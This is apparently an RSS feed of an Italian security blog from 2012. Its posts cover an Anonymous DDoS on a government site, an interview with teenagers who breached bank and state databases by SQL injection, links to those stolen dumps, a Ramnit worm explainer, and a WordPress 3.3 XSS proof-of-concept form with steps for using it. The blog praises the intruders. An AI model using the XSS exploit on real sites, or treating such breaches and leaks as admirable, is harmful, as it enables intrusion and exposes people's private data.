			<content:encoded><![CDATA[<p title="Sito Governo Italiano"><img class="alignleft size-thumbnail wp-image-4538" title="Anonymous Operation Italy" src="http://www.capn3m0.org/wp-content/uploads/2012/01/anonymous-150x150.png" alt="Anonymous lancia Operation Italy" width="150" height="150" /><a title="Blog Ufficiali Anonymous Italia" href="http://anon-news.blogspot.com/" target="_blank"><strong>Anonymous</strong></a> colpisce ancora! <strong>Anonymous</strong>, la famosa rete di hackers che da tempo effettua azioni di hacking verso siti sensibili per rappresentare la voce del popolo, questo pomeriggio <strong>ha eseguito un attacco di tipo DDOS (Distributed Denial Of Service)</strong> che ha portato all&#8217;irraggiungibilità del dominio &#8220;<a href="http://www.italia.gov.it" target="_blank"><strong>italia.gov.it</strong></a>&#8221; per tutto il pomeriggio. Durante lo stesso attacco è stato preso di mira anche il sito dei neofascisti di &#8220;<strong></strong><a title="Casa Pound" href="http://www.casapound.org/" target="_blank"><strong>casapound.org</strong></a>&#8221; che allo stato attuale appare ancora offline (pagina di default di Apache).</p>
<p>Proprio qualche giorno fa avevamo <a title="Intervista: 10 domande al pr0_alpha_team (aka Alpha_Team)" href="http://www.capn3m0.org/intervista-10-domande-al-pr0_alpha_team.html">intervistato</a> l&#8217;<a title="Alpha_Team Twitter" href="https://twitter.com/#!/pr0_alpha_team" target="_blank"><strong>Alpha_Team</strong></a>, una crew di giovani ragazzi italiani che sfruttando una vulnerabilità Sql Injection aveva avuto accesso ed eseguito un dump sempre del sito <strong>italia.gov.it</strong>. A <a title="Siti istituzionali violati dal pr0_alpha_team" href="http://www.capn3m0.org/siti-istituzionali-violati-pr0_alpha_team.html">questo articolo</a> potete trovare maggiori informazioni e il dump in questione.</p>
<p>Anonymous con il comunicato pubblicato stamani reperibile <a title="Comunicato OpItaly Anonymous" href="http://pastebin.com/ZV888rrV" target="_blank">qui</a> accusa il neo Governo Italiano di aver fatto bei discorsi ma pochi fatti:</p>
<p><strong></strong><cite></cite><cite>Il nuovo governo si è presentato con l&#8217;aspetto frigido di chi non avendo mai praticato la politica dovrebbe risultare esente dalle tentazioni che noi italiani ben conosciamo.</cite></p>
<p><cite></cite><cite>Sventolando parole a lungo agognate quali equità, giustizia sociale e rigore. Ebbene di queste non s&#8217;è ancora vista l&#8217;ombra, escluso il contegno con cui vi presentate ai media. <strong>Sappiate che siete sotto osservazione da più parti, e che non basteranno quattro buoni propositi.</strong></cite></p>
<p><cite>[...]</cite></p>
<p><cite>Anonymous e tutti i cittadini liberi e consapevoli non resteranno a guardare.</cite></p>
<p><iframe title="YouTube video player" class="youtube-player" type="text/html" width="425" height="344" src="http://www.youtube.com/embed/sZfTmYSyp1Q" frameborder="0" allowFullScreen="true"> </iframe></p>
<p>Con questo comunicato e per tali motivazioni <strong>Anonymous</strong> informa che tornerà all&#8217;attacco e, dopo il DDOS odierno lancia l&#8217;operazione <a title="Anonymous Operation Italy" href="https://twitter.com/#!/search?q=%23OperationItaly" target="_blank"><strong>#Operation Italy</strong></a> o <a title="Anonymous OpItaly" href="https://twitter.com/#!/search?q=%23OperationItaly" target="_blank"><strong>#OpItaly</strong></a> per il giorno <strong>13 Febbraio 2012</strong>. L&#8217;obiettivo dell&#8217;attacco non è stato ancora deciso e verrà reso noto solo poco prima tramite gli hastag Twitter indicati in precedenza come accaduto oggi.</p>
<p>Aspettiamo il 13 Febbraio e vediamo cosa succede.</p>
<p>Keep in touch.</p>
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		<item>
		<title>Intervista: 10 domande al pr0_alpha_team (aka Alpha_Team)</title>
		<link>http://www.capn3m0.org/intervista-10-domande-al-pr0_alpha_team.html</link>
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		<pubDate>Tue, 10 Jan 2012 00:01:32 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Alpha_Team]]></category>
		<category><![CDATA[banca delle marche]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[pr0_alpha_team]]></category>
		<category><![CDATA[pro alpha team]]></category>
		<category><![CDATA[vulnerabilità]]></category>

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		<description><![CDATA[Lo staff di capn3m0.org ha avuto la possibilità di intervistare il pr0_alpha_team, crew emergente che si è fatta notare nei giorni passati per aver violato numerosi siti istituzionali: dai siti dei piccoli comuni al sito delle Banca delle Marche, lo Store del sito difesa.esercito.it e molti altri. Come immagine ho scelto la locandina del famoso film [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/hackersfillm.jpg" rel="lightbox[4184]" title="Hackers"><img class="alignleft" title="Hackers" src="http://www.capn3m0.org/wp-content/uploads/2012/01/hackersfillm-300x225.jpg" alt="Intervista: 10 domande al pr0 alpha team (aka Alpha Team)" width="300" height="225" /></a>Lo staff di <a title="Capn3m0 WebSecurity" href="http://www.capn3m0.org">capn3m0.org</a> ha avuto la possibilità di <strong>intervistare il <a title="pr0_alpha_team Twitter" href="http://twitter.com/pr0_alpha_team" target="_blank">pr0_alpha_team</a></strong>, crew emergente che si è fatta notare nei giorni passati <strong>per aver <a title="Siti istituzionali violati dal pr0_alpha_team" href="http://www.capn3m0.org/siti-istituzionali-violati-pr0_alpha_team.html">violato numerosi siti istituzionali</a></strong>: dai siti dei piccoli comuni al sito delle <strong>Banca delle Marche</strong>, lo<strong> Store del sito difesa.esercito.it</strong> e molti altri.</p>
<p>Come immagine ho scelto la locandina del famoso film <strong><a title="Hackers Film" href="http://en.wikipedia.org/wiki/Hackers_(film)" target="_blank">Hackers</a></strong> del 1995 che vede come protagonisti una crew di giovani ragazzi che un po&#8217; per divertimento un po&#8217; per passione portarono a termine attacchi di grande portata scombussolando una città e finendo nel mirino dell&#8217;Fbi. Il film, come si sa, è finzione, ma è stato di ispirazione per molti ragazzini che come me <strong>sognavano di diventare hacker</strong> o qualcosa del genere.</p>
<p>Il motto del film era:</p>
<p style="padding-left: 30px;"><em><strong>their only crime was curiosity</strong></em></p>
<p style="padding-left: 30px;"><em><strong>(il loro unico crimine era la curiosità)</strong></em></p>
<p>Conoscendo un po&#8217; meglio i ragazzi del <strong>pr0_alpha_team</strong> mi è tornato alla mente e vediamo perché.</p>
<div class="woo-sc-hr"></div>
<p><strong>D #1: &#8211; Come nasce il pr0_alpha_team? E&#8217; stata più una cosa tra amici tipo &#8220;vediamo fin dove riusciamo ad arrivare&#8221; o strutturata e organizzata?</strong></p>
<p>L&#8217;<strong>Alpha_Team</strong> nasce come un gruppo di ragazzi (amici virtuali) , che sfida le infrastrutture che al giorno d&#8217;oggi dovrebbero essere le più sicure, cercando di far notare ai cari Italiani <strong>quanto siano vulnerabili i loro sistemi e come dati privati possano finire nelle mani di gente qualunque</strong>.</p>
<p><strong>D #2 - Il nome pr0_alpha_team da dove proviene? Siete una versione &#8220;alpha&#8221; quindi ancora non ufficiale? cosa dobbiamo aspettarci?<br />
</strong></p>
<p>Allora il nome Alpha_Team deriva dalla poca fantasia che avevamo quando ci siamo registrati su <strong><a title="Zone-H pr0_alpha_team" href="http://www.zone-h.org/archive/notifier=alpha_team" target="_blank">Zone-H</a></strong>, cosa dovreste aspettarvi? beh<strong> spero per noi che potremmo ancora divertirci nel cercare vulnerabilità <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_smile.gif' alt="Intervista: 10 domande al pr0 alpha team (aka Alpha Team)" class='wp-smiley' title="Intervista: 10 domande al pr0 alpha team (aka Alpha Team) pics" /> </strong></p>
<p><strong>D #3 - </strong><strong> Guardando il vostro profilo su Zone-H s</strong>i ha notizia di voi a partire da Novembre. Siete una crew &#8220;emergente&#8221; o operate da tempo ma solo ora volete rendere note le vostre azioni?</p>
<p>In precedenza abbiamo operato come singoli , ma poi un giorno abbiamo deciso di unirci e diventare l&#8217;<strong>Alpha_Team e rendere note le nostre azioni</strong>.<br />
<strong></strong></p>
<p><strong>D #4 &#8211; Il vostro background? Siete &#8220;ethical hacker&#8221; anche come lavoro?<br />
</strong></p>
<p>Siamo tutti studenti delle superiori ma in futuro vorremo sicuramente lavorare in quel campo, non ci definiamo hacker, ma solo <strong>appassionati informatici</strong>.<br />
<strong></strong></p>
<p><strong>D #5 &#8211; Indipendenti o parte di un progetto più grande?<br />
</strong></p>
<p>Siamo un gruppetto indipendente.</p>
<p><strong>D #6 &#8211; Perché siti istituzionali? Quale messaggio volete mandare?<br />
</strong></p>
<p>Attacchiamo siti importanti sia per divertimento sia per far capire ai nostri cari webmaster come sia facile sfruttare le loro mancanze. Per esempio nell&#8217;<strong>attacco alla Banca delle Marche</strong> volevamo far capire ai webmaster come sia stato facile per noi <strong>reperire informazioni sensibili</strong>.</p>
<p><strong>D #7 &#8211; Fino ad ora le vittime illustri sono state violate con attacchi Sql Injection. E&#8217; la tecnica che preferite o è quella a cui, come si è visto, erano vulnerabili tutte le vittime?<br />
</strong></p>
<p>Perché in quei siti abbiamo trovato quel tipo di vulnerabilità.</p>
<p><strong>D #8 &#8211; Il silenzio della stampa. I giornali latitano sempre quando l&#8217;attacco non è firmato Anonymous che &#8220;fa audience&#8221;. Cosa ne pensate di questa dis-informazione?<br />
</strong></p>
<p>Pensiamo che al giorno d&#8217;oggi non ci sia dis-informazione ma solo poca voglia di reperire informazioni da utenti che utilizzano internet. Tutti dovrebbero sapere che rischi corrono navigando su internet.</p>
<p><strong>D #9 &#8211; Il termine hacker ancora oggi viene usato in maniera errata e non si fanno mai distinzioni tra ethical, white hat, black hat, etc.. Voi come vi definite?<br />
</strong></p>
<p>Siamo solo ragazzi appassionati di informatica.</p>
<p><strong>D #10 &#8211; Il sito di una Banca, il sito dello store della Difesa&#8230; le vostre azioni hanno messo ancora una volta in rilievo le carenze tecniche in merito alla sicurezza informatica. In Italia spendere soldi per prevenire appare ancora una &#8220;cattiva abitudine&#8221; (purtroppo). Le vostre vittime se informate della violazione come han reagito? Le falle poi vengono sistemate?</strong></p>
<p>Reagirebbero malissimo. Come possiamo vedere nel <strong>sistema bancario delle Marche</strong> ci troviamo di fronte ad un C.M.S. a pagamento, e credo che non lo abbiano pagato poco. No, le falle ad oggi sono come prima.</p>
<div class="woo-sc-hr"></div>
<p>Concludendo questa intervista ne emerge ancora una volta la <strong>scarsa attenzione dedicata alla sicurezza informatica</strong>, dei nostri <strong>dati</strong> e delle <strong>infrastrutture</strong> che il nostro Paese presta ai suoi servizi più importanti o critici. Questi ragazzi, come ho premesso citando il film &#8220;<strong>Hackers</strong>&#8220;, sono <strong><em>solo appassionati e curiosi</em></strong>. I mezzi e le competenze li hanno e stanno dimostrando come uniti si possono raggiungere obiettivi importanti come il sito di una <strong>Banca</strong> o dell&#8217;<strong>Esercito</strong>. Non sono legati a nessun gruppo &#8220;famoso&#8221; e pertanto del <strong>pr0_alpha_team</strong> sono in pochi a parlare ma, come loro stessi hanno affermato, vogliono rendere note le loro azioni.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/alpha.jpg" rel="lightbox[4184]" title="pr0_alpha_team"><img class="alignright size-thumbnail wp-image-4159" title="pr0_alpha_team" src="http://www.capn3m0.org/wp-content/uploads/2012/01/alpha-150x150.jpg" alt="Intervista: 10 domande al pr0 alpha team (aka Alpha Team)" width="150" height="150" /></a>Sul tema della <strong>disinformazione</strong> fanno un&#8217;osservazione corretta dicendo che ai giorni d&#8217;oggi con internet a disposizione di chiunque è difficile pensare che la gente sia male o per niente informata. Almeno i giornalisti pagati per &#8220;informare&#8221; potrebbero provare a fare quello sforzo in più che noi non sempre abbiamo tempo o modo di fare.</p>
<p>Riguardo infine l&#8217;attacco al sito della <strong>Banca delle Marche (<a title="Banca delle Marche" href="http://www.bancamarche.it/" target="_blank">bancadellemarche.it</a>) </strong>ci fanno sapere che nonostante i soldi spesi per un CMS risultato vulnerabile (può capitare eh, nessuno mette in dubbio che ci possano essere bug) <strong>non è stata ancora sistemata la falla</strong>. Sono queste le notizie che tra le tutte dovrebbero far riflettere. Possibile che una Banca dopo aver riscontrato delle violazioni nei propri dati non ne faccia notizia e neanche rimedia in tempi brevi?</p>
<p><strong>Errare è umano, ma perseverare è diabolico..</strong></p>
]]></content:encoded>
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		<title>Siti istituzionali violati dal pr0_alpha_team</title>
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		<pubDate>Sat, 07 Jan 2012 02:38:45 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[attacco sql injection]]></category>
		<category><![CDATA[banca delle marche hack]]></category>
		<category><![CDATA[bancamarche.it hack]]></category>
		<category><![CDATA[dump database]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[italia.gov.it hack]]></category>
		<category><![CDATA[pr0_alpha_team]]></category>
		<category><![CDATA[pro alfa team]]></category>

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		<description><![CDATA[Una crew tutta italiana, pr0_alpha_team, nelle ultime ore ha iniziato a far parlare di se dopo aver violato i Database di molti siti istituzionali italiani. I più importanti sono: - Italia.gov.it - Bancamarche.it - Ufficio Italiano Brevetti - Università di Siena Guardando l&#8217;archivio degli hack del pr0_alpha_team sul sito Zone-H si vede che da Novembre [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-4159" title="pr0_alpha_team" src="http://www.capn3m0.org/wp-content/uploads/2012/01/alpha-150x150.jpg" alt="Siti istituzionali violati dal pr0 alpha team" width="150" height="150" />Una <strong>crew tutta italiana, <a title="pr0_alpha_team Twitter" href="https://twitter.com/#!/pr0_alpha_team" target="_blank">pr0_alpha_team</a>,</strong> nelle ultime ore ha iniziato a far parlare di se dopo aver <strong>violato i Database di molti siti istituzionali italiani</strong>. I più importanti sono:<br />
- <a href="http://www.italia.gov.it/" target="_blank">Italia.gov.it</a><br />
- <a href="http://www.bancamarche.it/" target="_blank">Bancamarche.it</a><br />
- <a href="http://www.uibm.gov.it/" target="_blank">Ufficio Italiano Brevetti</a><br />
- <a title="Università di Siena" href="http://www.saul.unisi.it  " target="_blank">Università di Siena</a></p>
<p>Guardando l&#8217;archivio degli hack del <strong>pr0_alpha_team</strong> sul sito <a title="pr0_alpha_team Zone-H" href="http://www.zone-h.org/archive/notifier=alpha_team" target="_blank"><strong>Zone-H</strong></a> si vede che da Novembre 2011 ad oggi hanno già operato <strong>numerosi attacchi verso siti di Comuni e similari</strong>.<br />
Questo ultimo è degno di nota dato che, come indicato, si tratta di vittime illustri dalle quali sono state sottratte informazioni dai loro Database.</p>
<p>L&#8217;attacco è stato possibile grazie ad una <strong>vulnerabilità di tipo Sql Injection</strong> che ha permesso di ottenere pieno accesso ai database e di effettuarne un Dump degli stessi.</p>
<p>A dimostrazione di ciò i membri della crew hanno reso disponibili alcuni stralci dei Database violati:<br />
- <a title="Dump Database Italia.gov.it" href="http://sprunge.us/JMQe" target="_blank">Dump Db Italia.gov.it</a><br />
- <a title="Dump Database BancaMarche.it" href="http://sprunge.us/hSBI" target="_blank">Dump Db Bancamarche.it</a><br />
- <a title="Dump Database Ufficio Italiano Brevetti" href="http://sprunge.us/ZDKD" target="_blank">Dump Db Ufficio Italiano Brevetti</a><br />
- <a title="Dump Database Università di Siena" href="http://sprunge.us/bFHG" target="_blank">Dump Db Università di Siena</a></p>
<p>Come fa giustamente notare <a title="Luca Mercatanti WebSite" href="http://www.luca-mercatanti.com/2012/01/06/italia-gov-it-ufficio-italiano-brevetti-universita-di-siena-ed-altri-enti-violati-da-una-crew-italiana/" target="_blank">Luca Mercatanti</a> gli attacchi verso siti istituzionali o verso Banche mettono ancora una volta in evidenza l&#8217;incompetenza e la superficialità con cui viene gestita la <strong>sicurezza informatica</strong> nel nostro paese. Altra cosa allarmante è come non sia stata data alcuna notizia di questa azione. Probabilmente il sito di una banca violato non è cosa importante per i nostri giornalisti.</p>
<p>Leggendo la loro <a title="pr0_alpha_team Twitter" href="https://twitter.com/#!/pr0_alpha_team" target="_blank">pagina Twitter</a> si deduce che non si fermeranno quindi non resta che aspettare e vedere quali altri siti verrano colpiti.</p>
<p>Complimenti al <strong>pr0_alpha_team</strong>!</p>
<p class="alignleft size-thumbnail wp-image-4159" title="pr0_alpha_team">
]]></content:encoded>
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		<title>Facebook Hacker Cup 2012</title>
		<link>http://www.capn3m0.org/facebook-hacker-cup-2012.html</link>
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		<pubDate>Fri, 06 Jan 2012 17:41:13 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook hack]]></category>
		<category><![CDATA[facebook hacker cup]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacker contest]]></category>
		<category><![CDATA[hacker cup 2012]]></category>

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		<description><![CDATA[Anche quest&#8217;anno è partito il Facebook Hacker Cup 2012. Si tratta di un contest organizzato da Facebook  rivolto a tutti gli hacker del mondo che dovranno sfidarsi in 5 round per risolvere algoritmi. I primi 3 round si terranno on line nelle seguenti date: 1° Round &#8211; dal 20 al 23 Gennaio &#8211; 72 ore [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/fbhc.jpg" rel="lightbox[4156]" title="Facebook Hacker Cup 2012"><img class="alignleft size-thumbnail wp-image-4157" title="Facebook Hacker Cup 2012" src="http://www.capn3m0.org/wp-content/uploads/2012/01/fbhc-150x150.jpg" alt="Facebook Hacker Cup 2012" width="150" height="150" /></a>Anche quest&#8217;anno è partito il <strong>Facebook Hacker Cup 2012</strong>. Si tratta di un contest organizzato da Facebook  rivolto a tutti gli hacker del mondo che dovranno sfidarsi in 5 round per risolvere algoritmi.</p>
<p>I primi 3 round si terranno on line nelle seguenti date:</p>
<ul>
<li>1° Round &#8211; dal 20 al 23 Gennaio &#8211; 72 ore a disposizione</li>
<li>2° Round &#8211; il 4 Febbraio &#8211; 3 ore a disposizione</li>
<li>3° Round &#8211; l&#8217;11 Febbraio &#8211; 3 ore a disposizione</li>
</ul>
<p>I 25 più veloci ed efficienti che risolveranno almeno un problema per round si guadagneranno l&#8217;accesso alle <strong>finali che si terranno nell&#8217;Head Quarter di Facebook a Palo Alto (California)</strong>.</p>
<p>I 25 finalisti saranno totalmente rimborsati da <strong>FaceBook</strong> con 100 Dollari mentre ai primi 3 finalisti andranno i seguenti premi:</p>
<ol>
<li><strong>Vincitore &#8211; 5000 dollari</strong></li>
<li>Secondo classificato &#8211; 2000 dollari</li>
<li>Terzo classificato &#8211; 1000 dollari</li>
</ol>
<p>Per maggiori informazioni fare riferimento a <a title="Facebook Hacker Cup 2012" href="https://www.facebook.com/notes/facebook-engineering/announcing-facebooks-2012-hacker-cup/10150468260528920" target="_blank"><strong>questo link</strong></a>.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Ramnit, il virus che ha rubato 45mila account Facebook</title>
		<link>http://www.capn3m0.org/ramnit-il-virus-che-ha-rubato-45mila-account-facebook.html</link>
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		<pubDate>Fri, 06 Jan 2012 13:52:35 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[account facebook rubato]]></category>
		<category><![CDATA[dati rubati]]></category>
		<category><![CDATA[pc infetto]]></category>
		<category><![CDATA[ramnit]]></category>
		<category><![CDATA[ramnit facebook]]></category>
		<category><![CDATA[ramnit virus]]></category>
		<category><![CDATA[ramnit worm]]></category>
		<category><![CDATA[rubare password]]></category>

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		<description><![CDATA[Ramnit è il nome di un virus che in queste ultime ore si sta facendo conoscere per aver rubato già 45000 account Facebook. E non intende fermarsi! Ramnit era stato già usato in passato dai cybercriminali per sferrare attacchi che avevano portato al furto di migliaia di account bancari o di aziende/servizi noti. Ultimamente è [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/virus.jpg" rel="lightbox[4071]" title="Ramnit Virus"><img class="alignleft size-thumbnail wp-image-4072" title="Ramnit Virus" src="http://www.capn3m0.org/wp-content/uploads/2012/01/virus-150x150.jpg" alt="Ramnit, il virus che ha rubato 45mila account Facebook" width="150" height="150" /></a><strong>Ramnit </strong>è il nome di un virus che in queste ultime ore si sta facendo conoscere per aver <strong>rubato già 45000 account Facebook</strong>. E non intende fermarsi!</p>
<p>Ramnit era stato già usato in passato dai cybercriminali per sferrare attacchi che avevano portato al furto di migliaia di account bancari o di aziende/servizi noti.</p>
<p>Ultimamente è stato nuovamente utilizzato per rubare account Facebook e per ora le stime indicano che questi cybercriminali sono in possesso di 45mila account Facebook e si prevede che continui a diffondersi.</p>
<p>La maggioranza dei Pc infetti da <strong>Ramnit</strong> sono dislocati tra Inghilterra e Francia e gli addetti ai lavori comunicano che circail 17% delle nuove infezioni da virus rilevate in rete sono a causa sua.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/ramnit-distribution.jpg" rel="lightbox[4071]" title="Ramnit distribution"><img class="aligncenter size-medium wp-image-4073" title="Ramnit distribution" src="http://www.capn3m0.org/wp-content/uploads/2012/01/ramnit-distribution-300x171.jpg" alt="Ramnit, il virus che ha rubato 45mila account Facebook" width="300" height="171" /></a>L&#8217;attacco si manifesta in un <strong>link postato sulla nostra bacheca Facebook</strong> da parte di qualche nostro amico &#8220;già infetto&#8221;. Se, quindi, vi capita di trovare postati sul vostro profilo Facebook video o links che non dovrebbero riguardarvi/interessarvi <strong>cancellateli senza andare a visualizzarli</strong>. Visionandoli <strong>si verrebbe redirettati ad un sito malevolo che in maniera nascosta infetterebbe il nostro Pc</strong>.</p>
<p>Alla fine del 2011 i ricercatori avevano stimato che<strong> i Pc infettati da Ramnit erano circa 800 mila</strong>. Il funzionamento è quello tipico dei Worm. In questo caso i pc infetti non lamentano anomalie di funzionamento ma in background restano in ascolto di comandi da parte del Server Ramnit gestito dai cybercriminali. Questi <strong>in qualsiasi momento possono inviare comandi a tutti i Pc infetti (zombies)</strong> per eseguire azioni come appunto l&#8217;invio dei propri dati di accesso salvati sul Pc, il click su un particolare link o qualsiasi altro comando.</p>
<p>Se una volta i virus erano finalizzati a creare disservizi e malfunzionamenti alla singola postazione infetta, <strong>con l&#8217;avvento della Rete il concetto di virus si è ridefinito e ora i singoli Pc non sono considerati &#8220;vittime&#8221; ma  &#8220;strumenti&#8221; tramite cui il virus agisce</strong>.</p>
<p>800mila Pc pronti ad eseguire una singola azione possono aprire porte a guadagni o attacchi di vasta scala che una volta, il singolo hacker o gruppo di hacker, non era in grado di realizzare proprio per una questione di infrastrutture. <strong>Fare un Denial Of Service verso una grande azienda in Rete era difficile</strong> poiché si necessitava di un numero di Pc e di una quantità tali di Banda da saturare quella del Server. E qualche amico con qualche Pc non potevano riuscire nell&#8217;impresa. Con i virus che danno la possibilità di comandare tutti quelli infetti in un solo click il problema è stato risolto. Lo stesso vale per le azioni volte a guadagnare. Ci conosce AdSense o  altri Servizi di guadagno on line saprà che non è possibile (o quasi) creare fake link per far aumentare le nostre entrate. <strong>Pensate a 800mila Pc diversi che cliccano il vostro banner!</strong> Agli occhi di <strong>Google</strong> saranno 800mila persone diverse e quindi saranno tutti click validi e pagati. Questi sono solo alcuni esempi per spiegare perché i virus attuali non sono più interessati a danneggiare o creare disservizi.</p>
<p>Tornando a <strong>Ramnit</strong> consiglio a tutti quelli che pensano di essere stati vittima del worm di effettuare una scansione con l&#8217;Antivirus aggiornato e un cambio password dell&#8217;account Facebook ma anche di tutti gli altri eventuali Servizi nei erano usate le stesse credenziali.</p>
<p>Per via di tutti i servizi a cui siamo iscritti per evitare di avere tante password diverse siamo soliti utilizzarne una per tutto. Di questa tendenza sono al corrente anche i cybercriminali e qindi proveranno i dati Facebook rubati per accedere anche per altri Servizi noti (Gmail, Yahoo,YouTube,Account Ftp,Corporate SSL VPN, Outlook Web Access, etc.). E&#8217; quindi consigliabile cambiarle tutte.</p>
<p>Solitamente l&#8217;accesso a questi altri Servizi diversi da FaceBook viene utilizzato per diffondere il virus tramite altri canali (mandando mail alle rubriche,<strong> inserendo codici malevoli nei propri siti web gestiti via Ftp</strong>, etc.).</p>
<p>Consiglio inoltre di<strong> diffidare da link inviati da amici che sappiamo risiedere in Francia o Inghilterra</strong> dato che c&#8217;è maggiore probabilità che loro o i loro amici possano essere infetti.</p>
<p>Aggiornate i vostri Antivirus e diffidate dai post su FaceBook che non vi convincono!</p>
<p>Ai seguenti link trovate la scheda dettagliata (e le istruzioni per la rimozione) di questa ultima versione di <strong>Ramnit</strong>:</p>
<ul>
<li><a title="McAfee Ramnit" href="http://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=752802" target="_blank"><strong>McAfee</strong></a></li>
<li><strong><a title="Microsoft Securit Portal - Ramnit" href="http://www.microsoft.com/security/portal/Threat/Encyclopedia/Search.aspx?query=ramnit&amp;showall=False&amp;CBF=False&amp;sortby=date&amp;sortdir=desc" target="_blank">Microsoft Security Portal</a></strong></li>
</ul>
]]></content:encoded>
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		</item>
		<item>
		<title>WordPress 3.3, 0-day Reflected XSS Vulnerability</title>
		<link>http://www.capn3m0.org/wordpress-3.3-0-day-reflected-xss-vulnerability.html</link>
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		<pubDate>Tue, 03 Jan 2012 08:48:31 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[vulnerabilità wordpress]]></category>
		<category><![CDATA[wordpress 0-day]]></category>
		<category><![CDATA[wordpress 3.3]]></category>
		<category><![CDATA[wordpress exploit]]></category>
		<category><![CDATA[wordpress vulnerability]]></category>
		<category><![CDATA[wordpress zero-day]]></category>
		<category><![CDATA[xss]]></category>

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		<description><![CDATA[A pochi giorni dal rilascio della nuova versione di WordPress, la 3.3, due hacker indiani hanno individuato una vulnerabilità che permette di eseguire codice XSS sfruttando un problema nel form di pubblicazione dei commenti. Praticamente per eseguire l&#8217;exploit è necessario per prima cosa pubblicare un commento sul WordPress vittima. Una volta fatto ciò è necessario [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2010/10/wordpress.jpg" rel="lightbox[4058]" title="WordPress"><img class="alignleft size-thumbnail wp-image-1045" title="WordPress" src="http://www.capn3m0.org/wp-content/uploads/2010/10/wordpress-150x150.jpg" alt="WordPress 3.3, 0 day Reflected XSS Vulnerability" width="150" height="150" /></a>A pochi giorni dal rilascio della nuova versione di <a title="[UPGRADE] WordPress 3.3: Sonny suona per noi" href="http://www.capn3m0.org/upgrade-wordpress-3.3-sonny-suona-per-noi.html"><strong>WordPress</strong>, la <strong>3.3</strong></a>, due hacker indiani hanno individuato una vulnerabilità che permette di eseguire codice XSS sfruttando un problema nel form di pubblicazione dei commenti.</p>
<p>Praticamente per eseguire l&#8217;<strong>exploit</strong> è necessario per prima cosa <strong>pubblicare un commento sul WordPress vittima</strong>.</p>
<p>Una volta fatto ciò è necessario creare una pagina contente il seguente codice e pubblicarla in un proprio spazio Web.</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;title&gt;Wordpress 3.3 XSS PoC&lt;/title&gt;
&lt;body&gt;
&lt;form name=&quot;XSS&quot; id=&quot;XSS&quot; action=&quot;http://192.168.1.102/wordpress/wp-comments-post.php?&lt;/style&gt;&lt;script&gt;document.write(Date())&lt;/script&gt;&lt;style&gt;&quot; method=&quot;POST&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;author&quot; value=&quot;replace me&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;replace me&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;url&quot; value=&quot;&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;comment&quot; value=&quot;replace me&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;submit&quot; value=&quot;Post Comment&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;comment_post_ID&quot; value=&quot;replace me&quot;/&gt;
&lt;input type=&quot;hidden&quot; name=&quot;comment_parent&quot; value=&quot;0&quot;/&gt;
&lt;input type=&quot;button&quot; value=&quot;Click Me&quot; /&gt;
&lt;/style&gt;&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>Al posto di &#8220;<strong><em>replace me</em></strong>&#8221; vanno inseriti gli stessi dati usati nel precedente commento e al posto di &#8220;<strong>http://192.168.1.102/wordpress/</strong>&#8221; va inserito il riferimento del sito vittima.</p>
<p>A questo punto basterà cliccare sul tasto &#8220;<strong>Click me</strong>&#8221; e lo script provvederà nuovamente a pubblicare il post. Trovandolo già pubblicato genererà un errore di cotenuto duplicato ma il codice Javascript inserito nel &#8220;form action&#8221; della nostra pagina verrà eseguito.</p>
<p>Nell&#8217;esempio il codice Javascript da eseguire era il seguente:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span>Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p>che serve a visualizzare la data di sistema e, come si vede dalla seguente immagine,<strong>viene correttamenete eseguito dimostrando la vulnerabilità XSS</strong>.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/wordpress_3.3_xss.png" rel="lightbox[4058]" title="WordPress 3.3 XSS"><img class="aligncenter size-medium wp-image-4059" title="WordPress 3.3 XSS" src="http://www.capn3m0.org/wp-content/uploads/2012/01/wordpress_3.3_xss-300x119.png" alt="WordPress 3.3, 0 day Reflected XSS Vulnerability" width="300" height="119" /></a></p>
<p>In attesa di sviluppi e di una patch credo sia utile attivare temporaneamente un captcha o similare per i commenti così da evitare o almeno diminuire la possibilità di venire attaccati.</p>
